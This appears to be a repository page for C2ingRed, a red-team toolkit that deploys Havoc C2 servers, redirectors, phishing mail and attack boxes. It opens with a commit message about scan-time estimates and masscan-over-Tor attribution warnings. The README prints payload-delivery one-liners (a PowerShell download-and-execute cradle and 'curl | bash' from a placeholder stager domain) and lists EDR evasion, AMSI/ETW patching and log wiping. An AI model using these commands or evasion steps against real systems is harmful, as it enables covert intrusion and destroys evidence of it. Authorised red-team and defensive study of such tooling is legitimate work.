n0mad1k 61251876a6 Phase-accurate webrunner cost/time estimator with masscan-Tor OPSEC warnings
Estimator rewrite:
- Phase-decomposed estimate_scan_hours: masscan, nmap-only, nmap-fingerprint,
  probe, nuclei phases each timed separately
- Accepts 6 tuning params (nmap_timing, nmap_workers, nuclei_rate,
  nuclei_concurrency, hit_rate, use_tor) — was previously ignoring all of them
- nmap-only mode fixed: was underestimated ~100x (treated nmap like packet
  scanning); now uses NMAP_TIME_BY_TIMING table per timing template
- masscan+nuclei mode now properly modeled (was falling through to
  masscan-only formula, missing the nuclei phase entirely)
- Tor multiplier scoped per-phase: applied to nmap/nuclei/probe only.
  Masscan uses raw sockets and Tor cannot proxy raw sockets — was
  previously applying Tor multiplier to masscan rate (incorrect)
- 5min/node provisioning overhead added (matters vs Linode 1h billing min)
- build_estimate_table accepts tuning dict, threads through to engine

Operator-facing changes (deploy_webrunner.py):
- Tuning section moved BEFORE estimate display so numbers reflect actual
  operator choices, not defaults
- Estimate header now shows active tuning values when set
- Caveats block printed below estimate explaining empirical limits
  (hit rate range, nuclei template variance, nmap timing tradeoffs,
  provisioning, billing minimums)
- CRITICAL OPSEC banner displayed when Tor enabled with masscan modes:
  loud red warning that masscan SYN packets bypass Tor and reveal cloud
  node IP. Includes confirmation gate — operator must affirm they
  understand before proceeding. Suggests nmap-only mode for full Tor
  coverage if attribution risk is unacceptable

Why: operator was getting estimates off by 100x for nmap-only and 0%
accurate for masscan+nuclei. Tuning controls were invisible to the
estimator. Tor + masscan was silently broken-by-design (raw sockets
bypass proxychains) without operator awareness.
2026-05-03 06:45:36 -04:00
2025-05-29 23:40:15 -04:00

C2ingRed

A comprehensive automated deployment system for Havoc C2 red team infrastructure.

Overview

C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components.

Features

  • Multi-provider Support: AWS, Linode, and FlokiNET
  • Infrastructure Components:
    • C2 server with Havoc C2 Framework (dev branch)
    • HTTPS redirectors with security hardening
    • Email infrastructure with DKIM/DMARC for phishing
    • Email tracking capabilities
    • Automated payload generation and delivery
    • Attack boxes (Kali Linux and custom Ubuntu)
    • Quick Recon Box - Streamlined reconnaissance platform (5-8 min deployment)
  • Security Features:
    • Zero-logging configuration to minimize evidence
    • Memory protection mechanisms
    • Command history suppression
    • Secure exfiltration tunnels
    • Strong firewall configurations
    • Fail2Ban and other defensive measures
  • EDR Evasion:
    • Sleep masking
    • Stack spoofing
    • AMSI/ETW patching
    • Indirect syscalls
    • Binary signature randomization
  • Operational Capabilities:
    • Automated post-exploitation payload building
    • Reverse shell handler with automatic agent deployment
    • Let's Encrypt SSL certificate automation
    • Payload synchronization between C2 and redirectors
    • Port randomization for OPSEC

Requirements

  • Python 3.6+
  • Ansible 2.9+
  • Provider-specific credentials:
    • AWS: Access and secret keys
    • Linode: API token
    • FlokiNET: Pre-provisioned servers
  • SSH keypair for server access
  • Registered domain (required for Let's Encrypt certificates)

Installation

# Clone the repository
git clone https://github.com/yourusername/C2ingRed.git
cd C2ingRed

# Install requirements
pip install -r requirements.txt

# Ensure Ansible is installed
ansible --version

Usage

Main Menu (Easiest Method)

Simply run:

python3 deploy.py

This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types.

Interactive Mode

Alternatively, you can use:

./deploy.py --interactive

This guides you through the deployment process with step-by-step instructions.

Command-line Deployment

AWS Deployment:

./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
            --domain your-domain.com --aws-region us-east-1

Linode Deployment:

./deploy.py --provider linode --linode-token YOUR_TOKEN \
            --domain your-domain.com --linode-region us-east

FlokiNET Deployment (with pre-provisioned servers):

./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
            --flokinet-c2-ip YOUR_C2_IP --domain your-domain.com

Deployment Options

Option Description
--redirector-only Deploy only the redirector component
--c2-only Deploy only the C2 server component
--deploy-tracker Deploy email tracking server
--integrated-tracker Setup tracker on C2 server instead of separate instance
--disable-history Disable command history on servers
--secure-memory Enable secure memory protection features
--zero-logs Configure zero-logging throughout infrastructure
--randomize-ports Use randomized ports for C2 communications
--ssh-after-deploy Automatically SSH into the server after deployment

Post-Deployment Steps

After successful deployment:

  1. Configure DNS records for your domain:

    • your-domain.com → C2 server
    • mail.your-domain.com → C2 server
    • cdn.your-domain.com → Redirector (or your custom subdomain)
    • track.your-domain.com → Tracker (if deployed)
  2. Run post-install scripts on each server:

    # On C2 server
    /root/Tools/post_install_c2.sh
    
    # On redirector
    /root/Tools/post_install_redirector.sh
    
  3. Generate Havoc C2 payloads:

    # On C2 server
    /root/Tools/generate_havoc_payloads.sh
    

Using Havoc C2

Havoc C2 Framework is installed at /root/Tools/Havoc on the C2 server.

Connecting to the Teamserver

From your local machine:

# Install Havoc client (development branch)
git clone -b dev https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
mkdir build && cd build
cmake -GNinja ..
ninja

# Connect to Teamserver
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]

The password is stored in /root/Tools/Havoc/data/profiles/default.yaotl on the C2 server.

Payload Delivery

PowerShell one-liner for Windows targets:

powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"

Linux one-liner:

curl -s https://cdn.your-domain.com/linux_stager.sh | bash

Security Considerations

  • All servers include the /root/Tools/secure-exit.sh script to securely wipe operational data
  • The /root/Tools/clean-logs.sh script automatically runs to remove evidence
  • Port randomization enhances OPSEC when enabled
  • Set proper DKIM/DMARC records for email operations
  • Consider using ephemeral infrastructure for high-risk operations

Cleaning Up

To remove all infrastructure when finished:

./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID

Add your provider-specific authentication arguments to remove the correct resources.

Disclaimer

This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing. The authors are not responsible for misuse or illegal activities.

S
Description
Church of Malware — C2 Infrastructure Toolkit
Readme 4.5 MiB
Languages
Python 68.7%
Shell 17.8%
Jinja 12.3%
HTML 0.8%
CSS 0.4%